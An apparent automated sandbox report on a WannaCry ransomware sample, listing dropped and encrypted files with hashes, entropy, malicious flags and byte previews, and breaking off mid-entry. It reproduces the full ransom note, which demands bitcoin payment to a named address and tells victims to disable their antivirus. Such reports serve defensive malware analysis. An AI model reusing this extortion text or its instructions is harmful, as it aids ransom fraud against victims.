                                    Preview:WANACRY!....>eg.Pb.P(?...9.2CF..Y{io&8.m..Z1..5".*..=]..k.e...V0c-J)=...z=..i..n..A...5.1!....xh.qA.H.!.hJ.......U]@.t.3....9.o...p..2...i=..u...*[..*X..}......us-...!.._..4D."...;K:...F..H.!y....... RZ..M.._.x.j...:.'..-L."`uN.qs.|).......ex&v.....p......d.........g.2..3j...LC.J..[7.V/K......^~..O_d`.;.q[]....Zf..u.&.D.>.7L....\0..*s..W._....s..i..80....\./..u'.......<..e..X>..........m....zR..g.....3...K.C}.<p.V...Y...j.<..y.{.w...a6..............xd.3.~4...8E...n....MoA...\<@.._...o....{D...u...[Z.f.....t]kI.~.DP./UsBM.J)..\.x..n.i.?!9.~{B..LL...>i.h.>.o..7."KV.m.r....*{.....g..".3...}fU...........4=..k..'..=J....W.S.|...|35..l,.........j.=.....T.....[...6.Y........HF..1....W:mI%rY.y..."VuJg.OEx..SP..!....O..K u.6..,<..B}y...``t..V............!.2.|......!.p....*.}a+<G....FH%!.$O.....I..(.&.>...]#........;.d....L.....J..r.........e....U.b."&..W...l[y.c..i.....X[.J`s(s..S-.K.U....au.-._.O..N.I.T.dV...C.K...+,xriL.%......p.M.........X..

                                    C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

                                    Download File
                                    Process:C:\Users\user\AppData\Local\Temp\wBQInv.exe
                                    File Type:MS-DOS executable PE32 executable (GUI) Intel 80386, for MS Windows
                                    Category:dropped
                                    Size (bytes):19456
                                    Entropy (8bit):6.590533258463712
                                    Encrypted:false
                                    SSDEEP:384:1FzSUXZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:20QGPL4vzZq2o9W7GsxBbPr
                                    MD5:7DF91FED83572913F4BAB325E771D8B6
                                    SHA1:53CD11B13A26DE7623F6F7B45E9341F372594339
                                    SHA-256:C5B7E0DFB2CB92AE7C6EF333F0DE3C6F208AA315192F4C93875D550140A886C8
                                    SHA-512:4A6DB4F3B1ABFE84170C9C1CA6C5556519234AAFDFF1B98101A8FA7AE539D3B7FAB0C5688CA1078837A533DA69E2195F067DBA56DCF15177DF56E2CF28A2B277
                                    Malicious:true
                                    Preview:MZ..........................................................@...PE..L....................................0............................................................................................... ..l...........................................................................................................PELIB...............................`....rsrc........ ......................@..@..Y|.uR..P...0...B.................. ...................................................................................j.h"...h....j...(....Hello World!.MyProg........................................................................................................................................................................................................................(...........0...(.......................;.......User32.dll...MessageBoxA................................................................................................dummy.exe.....................TestExport.CallPlz................

                                    C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

                                    Download File
                                    Process:C:\Users\user\AppData\Local\Temp\wBQInv.exe
                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                    Category:dropped
                                    Size (bytes):2389504
                                    Entropy (8bit):6.731341315077323
                                    Encrypted:false
                                    SSDEEP:49152:BGSXoV72tpV9XE8Wwi1aCvYMdRluS/fYw44RxL:V4OEtwiICvYMpf
                                    MD5:C75541869EE2A4DDDD5CEB8438589EF2
                                    SHA1:A679A8FF025884D8CA8D47AB5BD2A8F1C37594E8
                                    SHA-256:A46DBC915E23AE68D66755BD1F00A12D00EEB324408787498760B368A6FC1D69
                                    SHA-512:F33A18C4B54E08FF3D61985716B6006CFDE03957473893636EF6DBA36F5E8A35CF9BB670108B740C8C3E7F2BBADAF14B2DD97547EA507998AB064E478EDC1C65
                                    Malicious:true
                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ark.Ark.Ark...o.Mrk...h.Jrk...n.^rk...j.Erk.H...Brk.H...nrk.Arj..pk...b.rk...k.@rk.....@rk...i.@rk.RichArk.........................PE..L.....(c.....................~.......p$...........@...........................$...........@.........................p...<............@ ......................P#.....@...p...................P...........@............................................text...e........................... ..`.rdata...^.......`..................@..@.data...`....0......................@....rsrc........@ ....... .............@..@.reloc.......P#......"#.............@..B.....u...P...p$..B...4$............. ...........................................................................................................................................................................................................................................................

                                    C:\Program Files\7-Zip\Uninstall.exe

                                    Download File
                                    Process:C:\Users\user\AppData\Local\Temp\wBQInv.exe
                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                    Category:dropped
                                    Size (bytes):31744
                                    Entropy (8bit):6.366389144575779
                                    Encrypted:false
                                    SSDEEP:768:uWQ3655Kv1X/qY1MSdL0QGPL4vzZq2o9W7GsxBbPr:uHqaNrFdLnGCq2iW7z
                                    MD5:CCB0A793587366FE79775A79C1B43AA7
                                    SHA1:A6280FFEEBDE6F5B3F235703C39CFFC72C8477F3
                                    SHA-256:E84A5D3F8ACE9D3BB4D5A5C8CB79DB0985954AA6737E5D8EA1B270A27B228414
                                    SHA-512:3A30525865FC473B00BE7A4667B189266AFF222D4271169EC1BDE966676129046A0CC7680A27090DFCECCC579B9B12B7F16B3454AE35CA938F8B6B86E99A16C0
                                    Malicious:true
                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.!.R...X...^...X.Rich..X.................PE..L...pN.d........../......V...@.......p.......0....@.........................................................................$9.......`...............................................................................0...............................text............................... ..`.rdata.......0......................@..@.data...X....@.......(..............@....rsrc........`.......*..............@..@.EpN.uZ..P...p...B...:.............. ...................................................................................................................................................................................................................................................................................................................................

                                    C:\ProgramData\Microsoft\AppV\Setup\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\ProgramData\Microsoft\AppV\Setup\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):5256
                                    Entropy (8bit):7.963351055856994
                                    Encrypted:false
                                    SSDEEP:96:ozvWGCgJ9yBnNE5IentP2pjRQDRVOC+NVi/GJ6bv4SuhPGJuJkQz140R9ruln:pGTKnNE5JtPmifOVi/YWO4+zTAn
                                    MD5:FFD2E75393080DA8C66BE8D5A7462808
                                    SHA1:4D63EA95A1897F8363C07A38E2871283D7E05BAE
                                    SHA-256:71F7D3E3907E07D6675854CC56DCE79E3DDA6DE93DD41D12F7EC71C6C796CF5F
                                    SHA-512:2DD13CD8CB73304B052A2F1B9FBD3075347FC495D5E573171114946230B7BBFE636231C39FD4C41CBFB53392CC8B5A18B7A03E970E4CF31AB3150E75823C9E2D
                                    Malicious:false
                                    Preview:WANACRY!......2.Fq.t....TF..p..,...y.....?.........N..._g.Uj#..%m.........7....m@...1.C...=.<. .t.}ck.....j.{.i......U..[%/V.'...@.........>......y..M.."..").M...Rg....3.....^.t.k+&.o.y..4..49h.EX..UZ..Q...d.}.M..&+....4...s.x*7.!`h.`#.L....71......h.........v0P...4.&0es.M..ma...VB.....N..s.%3.kEj.X)=.9x'....f..6J.0.....&...a...f...-69)...p+H4q~Xn.m.YqY.C...N..b.B....j]..ct_.....NTD;?2..eR>.w....FA.".r.I........@....|u....6U7..Z[....%.<O.....v\..S]..0sj...b..5.......sK..r:..q..b.E.N5.g9+...f...{...K.J...~...4}96+......B....HM9 ..E....d>.Z.....=....&v.k.m. ....t.F....kZ. . ....8..QV)....%..y......?:X..n>..8\)*d....Y..[.../`w.....`i.R(.d..^..u....4 . vT.".........,..2kc.D."...........6..U._U...L.*...v.}..-....].@.!s.G......_=b..i..mYc..`,...h.Z.>..5.W.v.(..)..J..K4Z+..L.....5!%..J.@;.7a.U....bn....g^...$.gF.-.i.Z3.b.....{...bi.T.).A.S....k.....nF...n<0.8';0.H+.J.0.~{.'[.\.{.W.XZ.....[&.....&xv..e.Gs.........W..?..Nwf..>.#..=.r

                                    C:\ProgramData\Microsoft\ClickToRun\ProductReleases\A3CECAC7-AFEC-4136-AD26-4F02273A588C\en-us.16\stream.x86.en-us.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):443032
                                    Entropy (8bit):7.999613610709217
                                    Encrypted:true
                                    SSDEEP:12288:d4FtfYebBTd8sx7TbQvkqprYJHitxb0VKI34Li1uEqJ:d4FRYSBisxfMMq52Cbb0gI3eMujJ
                                    MD5:5DE02A3E9FE5CA6648A3E3469E4C33AE
                                    SHA1:DFFF7E7EAAA251BA9482901B3FD0D63E3E350040
                                    SHA-256:FFD7FF2C734954E9E140CB94B244CC6605B39FD570EDA58F90B82E3773E9FC11
                                    SHA-512:24D95FEA7B9DC5D947D7E175122254C5A3D9199FB6958F8BEEBD4C67BE9F296BC8C8527CE6A3903C750C280F38C760BB024C209AC1DE3AE56013A42DB15BE819
                                    Malicious:true
                                    Preview:WANACRY!........7..R.j.t.....@j..x...iU[V.I...1c.+..^.)..bBZ...I.y.&.,......FY..j.KH.9.l.rD.7....Q..=Z...`.......,|....e...l..?..1...zD..::...NQ... ..f...Z*.=...5..|...h....d..!.m.[.o.[r...f...I3.C...c$....)..~....c...5.*).A.,zV[..:y..lC.0c3..J.......@..B^.....y..........`]c).....q...L.{[..g.K.&P..,.vf.Jkr...z;....N.....3.67.O.....wp.....5......\.K......Dw.}.j#..y..[....m/$3..(,<.~.G.Y.:....H.z.6..~).~x.!.30P. ..s...}.[.v-......M)?t.&.....x-tCYH;)......tR......p.....t...J.*...+.d.(.`..?....Y.n...8....7ul...|{..ozs.....5.Q.2.....8$.W..I"...i./........#@.... T.[.'......\....*..C.~../..n.........>...x...@.n.>.#.... .#....6.UK....c.WO...(.D.2!l.%.Y...{.0L.3].j!fl"I[V!..#Y.'.P2E.R..h\...W.oX...._...U.D...*9.5.{.{...gx3Q.5.)f7hly..O>}?.B.t.'.B.....t.J.i..d..QG.3C.... .n.....t...p.D...CW..IL*..v...\..=E..S....3.3.!.V/_\.Fq.w.+x..)..!.].....?C*.6/....f>...,s..S........f.....2..n.T(q.4p...,...&.70....e..v1...Rr.......k.?....KI.l...!.....q.T..

                                    C:\ProgramData\Microsoft\ClickToRun\ProductReleases\A3CECAC7-AFEC-4136-AD26-4F02273A588C\operations.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):11251992
                                    Entropy (8bit):7.999981080141446
                                    Encrypted:true
                                    SSDEEP:196608:J9XCeSYzpG0tSZlgu8HQwp3vG/xf4oeORBqg/YEuCE0/YRl2wFDmm2:DXCeS8nSku8Hpp/mF4oeahYEuh0/sl2T
                                    MD5:E0A34414232C008175DE9E3C71B29D59
                                    SHA1:D272725F90829CAA1EFEEAD8A5520EEDD7640EC7
                                    SHA-256:1386EFC433C0568EF38B98F7D174F36A50BF3E8AF44A0AD6FC3608D3BC65B38C
                                    SHA-512:CF70922B9F91751B961FB30C0158EAF97DF69FC2D0B1D241AFF7BFB64FA27DF8D5745FF91F6291A0814C1CF700DA7EC5A4F35A326015DCA93FFE290C37B8FDC2
                                    Malicious:true
                                    Preview:WANACRY!.....Cc..QU<j.....;.....%...>.-.H.......)F.3......0.i....(|..W....I.4......y..A.._;/`<_~...T..c...|U..R....P.;3.p.*......;.&.u8...G...i9.YF..t./E..A..y......2Zv.0.L4I....L...j.0.........-T..}...p..B......U....x....N..q....g..yd....."79....e..q.................Mf.!...K.:.....o.JMh.n........I..._..c3.o..N:.#%H.Q....ZY...Z.....5...-.Bd.[^...q?.E.....C.....}\!....'9*......./B....N..........e.<.8o.Ub...E.K.m!2..(.B.K.g...e.$..........cO.aG.~9..9....M`T.8{.{.e...7.6....'.q,.cD?t2@.5h.jP9.......{D8.S...*.[D=.Q.M......s..:6..]..q;)..._..Z..tr...i~rW.q.o...OF[.T....y.g..i.Nz....?...H...U... Q.Q...r..9.UI...........OB..V..kt.#.].X..OZ......$....'43..<..O....#...?(..ah:9.t.]H;..x...S.>...|.v./.u{}.`5^.9..y.P2..t.k..c9.../....Z.A.^?..{U!.v...{.'t.2....G.....a..:..P.X7.5TX.....Yr.N....."....=.#1....p./7.....5.Y%.u.....?..LO.V..z.|....B.v.v.K.....-...z.mU. )..z.dA..i..V.s.q...c..P......O....a......J.Y..Q9Vq.9f0f..TP%R.2df.>.0...Y.V-g9I.L%.z4.b'|...%.C

                                    C:\ProgramData\Microsoft\ClickToRun\ProductReleases\A3CECAC7-AFEC-4136-AD26-4F02273A588C\x-none.16\stream.x86.x-none.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1729112
                                    Entropy (8bit):7.99988990957924
                                    Encrypted:true
                                    SSDEEP:24576:smdxh8IuTdg5lXNzYWyEKBDWuD60CNXhKOZ9jyL/iNZ8GWDxf1hTLnIceAOrWyu4:gtGTO+0bsxVZKiNgDB3Jb0zwq8X5VK
                                    MD5:B4E2C2EEB59153FA6317CF48AD81B542
                                    SHA1:5E9019E94D8022FB6A8F5525662B6F6866444345
                                    SHA-256:307EF474466B60CC5E803FF60B75473910C600D81D26AF38B1D72C10538D311C
                                    SHA-512:46A9830035B811F9B0481CF9599BA90A17E1C15821ADB188C39CA7875CE4BDABF7FFF875606B03202D5DD1B6FCF6DD5A3E49F84535211E398A836297AD5F5A29
                                    Malicious:true
                                    Preview:WANACRY!......Qv.6PT......jo.^.Y..;9.%@......V...1....A..Hx..m...Z..>..,vt...zfn}...sd...6...3a..7~.k..3.uj[.\@...A.vS#...}.p....\`.....8....2.........w*F.l1.V.n..ba...n.5.p.9.L.....)..K..n.......Ui.C...x.p....<..$.=.CR..qm._....g....#:..$.z M.!..]..-....1a........$dd.2R|.R{.{...H.Dgf-...&.....U..YG...\.[.!.. .g.e,.C..4....d.....}}J..J...5.%.......H.U.O.....{..D.*..6.....r;............D.n..s.Tlu.aB.v.....v...+R&.W..m[..%...7N9...w.._:=.H..ET.......y..1....%....~..l"<L...Z?..H.m.0.bp.....# b_!.{l...U.9....'./*...JW-..9.V..T..G.R.r).2...........K....a.......=.J.I..O(S$kB.b.....qB.....j.jKm..v.. ....$.@...n.t.)YbcN.O.l...}.K.r..!.7;..P.F.B!h..C:.N....].e`......n.4._ ..fT.V<.=.".)3...0.~+..[..H.z...\.ry....[l .<.S.0.51q...C.....e.d.2Q...Q.*..*l.6.#...`.bj...R...A`.~.ZT7...(.<...1.a$.Z.$..k..>P.n.;.p...z....sv..}O..=..].B*..6w...U5W.J......8.]yt!.r...jS.m`r....X..X|Y......x...F.Jn>...ey.......T ....V....Ag..Y..-i..*...y.@...T...]-..,).L.n

                                    C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):130040
                                    Entropy (8bit):7.998428331697942
                                    Encrypted:true
                                    SSDEEP:3072:sE2QGEngn8gbOzmHJvo2APHzTUtOe1p076druXBOba+:sE2QVglbOKvtAPHzTUtOmdruEb5
                                    MD5:1E403DC012B0DDED2384AC72BB28AC12
                                    SHA1:B4B8F4E3F6AEB576BA660036E6591A253FCAA3FA
                                    SHA-256:F3EF0C44EA9DA7C1A7E496931D55AB4CF9A5E4935D50BCF46BCFD1B28A70076D
                                    SHA-512:51A1C5D29205415CCCF133A6D14E16D679ADEFD5C3450D840917B64E53E3C2608ED2A2FBA214CA1381FA069630495569D4B80A6EADBCAE8001064E80C2655340
                                    Malicious:true
                                    Preview:WANACRY!....I}v. .\....%nY./Jd8..N*6.9W6...X.m.Z...j.n....."R..4......`...sz.%I.V4W..3.d....A.Nu..&...j..d..`..j.w....2Ce.....<.;.@..w.Am1:......5...0..z_...q..,p`..H'o..I.c.u.S.Z....b.....S....(.`k...r."..iQH.|"h.......@.........W;..j.w.......g..\.7.XM... ................(..(..^.!.....B.+.....1.....ED.L.?..A_nO1.Z.....Y)c.in0t&.....m..k t.{..>.....OF.'..g.Z.K..f1R.U...X........ .%jj.. .z'j..$s..~.."w._..pJ..~..,....1B. sl.^...h.i.]*............m|........B.P/[.&.gOa.lz%.]Y....F..|.h[.;....N.........r.h.[5.'.#......8').;Jqxx.e...Y..G...+.Y.;/.&...I....... .6{9.[7..{.v.w.....8.....Ah6.r...K.N.......i.K+..`.....%..j.ib3^.'Yjr.."7....S.m..V.....+..S..z.....<q...r.tI...X]2.&..].4C.\......,t)..Td1..8...p..P..A..K'...1...$..X.....$.WM..=...z...`-0\.A3_..!..@v........(.Z..O....$.Rj.......6V..OQ..n..d...&.....]]..I.S.i.sY...<......F......P4..1......X...S..7.w.@...j(...g3.b9..t`NpUJ.=.3>q..H.......3_...`.........?....M.g.*..?!...S..9m).V...?..} .......ZaT..

                                    C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):44776
                                    Entropy (8bit):7.99619417160624
                                    Encrypted:true
                                    SSDEEP:768:VpghsM1kgobeuDeBBg8lAbsJUPYpcjeKDCVHTzONHuOn9XleHSETZydQof:/ghsM1To6prayUP6cnDST2HP9WSETZof
                                    MD5:59F327AF94D793456B6EBF9D6BE250B1
                                    SHA1:0BA193377F60A012F58C881C221064DE14AA2D65
                                    SHA-256:7D5F15CEE78D940FD35C0790531C26E3F0D7EBA7BB008049F35728C580D50DB6
                                    SHA-512:1D270340C46CD7A2A74907B8F11EF4C8B13093FFD86B7991B1FAC2C1A72BB98B30684F233AA91556E72B467A8FC9215F8B3996125716861EDC44E0ED7CD6C3F5
                                    Malicious:true
                                    Preview:WANACRY!....2...ND.....,..N.$..hN.\.T......\.(.@..{....-.C^.. W....ODO.f?.p.....R.I..F..f.3_..A.....GF"n.....)S. .P......=.2+....A...3k8..l7...(.x.-.";`....KN.mN9..{...":T.b...f...<>...,.7H.[...))#H.......<..P..g<N+.....C...d.-.q:.q!.;..LQ....N..3.G...{.>...................u.......#.P+..N.....G.%8....#....Lc.j4..........0.C.6..........sh..@..D.`...Vo..p.X.*7#.t_B.G..>8.(..... .....~.%7G....g5wzzg...v`W....3......V..`..%......)c....N..F.c.c'7....s..2..[.Q....L.vo.b.M.t(.1.%.X.+..6 [2'8.E..gl......S.....*E..,h......l..s^.".o.+.].....od..-.....rV1.......-..Z..\o.......5...dTb..*..}oa._t...>y.H.....u.)`.?.W.Mt.7.V...*.$.K|E.@.....d.~...z......g.).-GFUK..&2.W.5]M......&c.Q..f|.Y.M.....y.s.....Z.]}.....%+.7S.A\L.{M...y...s.N.....v6.{.v.,.8.1..M.`K..&..h....b..`n.....F_s..3.....;...;.k...{5/."Y.aAe..U\o....0...6.l...C..%....i.......}..!0....#%.}....U..e.1..W...@d7.Z...i.O..4.......O..:nD.y....;.6p.b'..).$c....8-l.X..V..<.3....a.....*

                                    C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):29160
                                    Entropy (8bit):7.9932297849894605
                                    Encrypted:true
                                    SSDEEP:768:RW+yK25WUyExCzOXglveC73/K2AHrMwUTgjjRaM/cbUNXg8EK:jyK25Wvo+ECmWgrMwUkjjHNXgU
                                    MD5:47F4194CCE668F342A034706B298B39A
                                    SHA1:243F3DDA7F0CB5646AAB846F58BD09145D14054F
                                    SHA-256:DFD736D04EF63F1276E6899AE57608349EFA3E859E834070475F52846C02725D
                                    SHA-512:888A7E2F50DFE4319FBBDFD8E98C739F4EE18D218465B12D86EFF541B63E2828D6F9D12FC93AE7F2A609350B808173A8021E45468A0FE41DEDE14E6278B7917A
                                    Malicious:true
                                    Preview:WANACRY!....T.|."x^..=..V.R...........E..C..]'.o.:..<.7....{MN....b.|S`.9O.},7Q.|..9...0X.FG.M..+.:H.I.....f.._.E....P..ui#..R....jU.J.1.!...r.*....Y.....<.0............E@1.(.zu.a..[aG7/..;..e.'.UF..W..PpKRY.....X...%=+...h..+.&.k.*.....x."jt.4.P.[.......p..........w.:o.~.....Ck..aW^$.R.r8Y..#)..XO7r....c....g..f...I*.....S...ZS...:......K.Z....R.sw.-.M..6.r:..)n.B....I....o.;....f....0.[...@..._.1...{.Ysq..C.q...k.fc..[(.A)Sx...+......33....1....?..h.........9T..[(-Oo.'..o2../.....V...X.!w...)z.a...|8..2.d.&......z.Y70L. ':.Y..k.B=?....r.RW...z..(...+......&J..tQ>.......%...zfu.k....l.M..b..sG....XH{%6...kc9y../#..5f....A.t..6+...{..s..H..V.5.........H....w...UC......SL9.r...6.......X...4y...'u.7....px..JK.a.R..,.f*...fS..,....a........~......S:g9-^.O...H.....x.Q....)E^*..i.:3..\.....%U.s+.Nmz.1(...,'....^.s.....f..:6E....y#....eu....8.eRL....U..~#0y..w..Pc....h...@.s..*.}.b.S>.e..YSJ.<|r.....6........B.1....tI+t.:X/.S0.QXV.=~...o.

                                    C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):39672
                                    Entropy (8bit):7.995245565727367
                                    Encrypted:true
                                    SSDEEP:768:WwYg9X+hKVPDpKnYcLNygPlON9OUn/wPGQGjJDlwDncRbIIZhL:WwDmFLlyYU44JZwQ0KL
                                    MD5:337767FDDAB7E8DCDD60B3924F1F015A
                                    SHA1:08D0B05DE0A550A650E35DFBC81316B416361142
                                    SHA-256:18502D9C863217C9CA1BF41E930869725FFA9CFC60A6C82FFA8D56E911F59E19
                                    SHA-512:C56E95AC8E1B0C44B8FC698728634902889CA8586DEF485023588EC8AD0048A98566AC6610307349BFAB461A080077476D46772F8B7C668D04E3ADC6D41A2918
                                    Malicious:true
                                    Preview:WANACRY!.....@... .p.B.A...&/X..o/.....b.|.':..3..*...m.U..n.`Gu......3m....KoZc*....Bn>.u.[.^.O...S.(..(.L..t#..K..(d.C8....H.S........3.Z.. .._T1.D;|{.8....s.;........r.z.......?..+.,......;8./.UFO 2.u4.$5.'R.#...$..r...3.X)X}......2..<3x.t.B.=..Y...O...............;h#........oM.......r3h.^...=.[.]...M...........~$...a.C8E3.\%.d.k......|.V..hlt...&.v..UM.....3..B...|.A......sU.6...!>.]/&..5..%l P.>wT4.>...-...ygu#....R...I.|...R..J.>U3.)?.>s...*Zi'...2p.+.5...[.G......`........ZI7.x.i..&M...xy.7|.q...............J..p..t..I.....@]@.....0..:K.1...P._@..d. N....p..["q.D.....i.N.1...A.....,.f.Em.I...j..g^.8i.$fX.$...d.'x.2,y.?...>,...U.:...g.~|.(..{.;....`..*...a..g,d....MkuX.r.n.$....2.v..!....i."...2.9r......kzJ..@Z...TB.G.`.9.6....../..... ...k..`..b..M*;K.x...X#Y......1@...`U...C..\q+. {.#....;[..d:.(^.z..T.D2...9.......PgP.!..q$.T....9...|^L<-.a."}.H.?."..$..t.|P.^...^.....nzU.1..T.....i..P.+..B.(~.w......BaD@.'.\59D,.&..d.

                                    C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):130040
                                    Entropy (8bit):7.998587221306915
                                    Encrypted:true
                                    SSDEEP:3072:/LZNdH8M2DtllsFFSStxjHQc6+oVJYbcyEN0X+Ea6R3SX:/LDdypLsHSijHQEoVJYbiNORm
                                    MD5:3F8E7A7B2E40FDCEA85EDA8A4B06A8D0
                                    SHA1:D9A1C0A01ECF7B88367670FBDC298BFB6771EF0A
                                    SHA-256:8589B93F66EE3EDD0FBA0B09442726774318753EBF287967CD597776600FD745
                                    SHA-512:913EBFB274F4425807F4B6A96BE397F6F371C54EAA92576A7C0885870CD435E3FA82A26E8E9313E4C6BE392DFE1F7A7AC74BDFBA142D95C0B59CAD1F718B5DD5
                                    Malicious:true
                                    Preview:WANACRY!.....y..{...!..v.i|H.~..<.X.!...o..:G..K.....PBX.DaI.K4*EX..P.;6...K2.I...V..T..a.XA..B....>3..v.*`>..L.:...I......|..G.j....9]...Xm.9.a...F.......Ohf....b.!....]U..~Q..B..R.*.......V.-Tf.Q.Q....`.k..n.....f.......]........j...04...J..?]X.D.%..-?.E8............jd....gq.)UQ.O}....E..v..$.h+5...^..9....~.......L..]i...$..[7..........Q..7......e>..a...W...8.....lE..*h.zkjW...Z.M.......p....}......G..7......*.Mq...<..=@~...w.2vU..0....nE..t..Ut...;.nW8..A...t.P......5 ....$...}.....a...V.-u.'...N~....2.(^...Px.G....P...g.V....a/.......:_..rQ.jh._[i?...].....r......a..J...]......9...G..v...x...y...h!..s6..\*..v.....J.G...".W.....L.J..D...}...o.Q..^w.:`...~5%E.R`@.$........^......B...e*v....4S..&<.t.n.{..5..g}.N!......................p.l......s..e.........rF.#........5.wMy.3...:..T..+3..{.A2 .TD.w.bR..Y...?[r~.a.?J..V.:....)I.%0,.....o.F.u_vb....6...x..s}....@.!.C....P..K...W.w...|.....V.T....^s...7%..FFDk.7j.2..^K...i .1

                                    C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):29160
                                    Entropy (8bit):7.994747763405526
                                    Encrypted:true
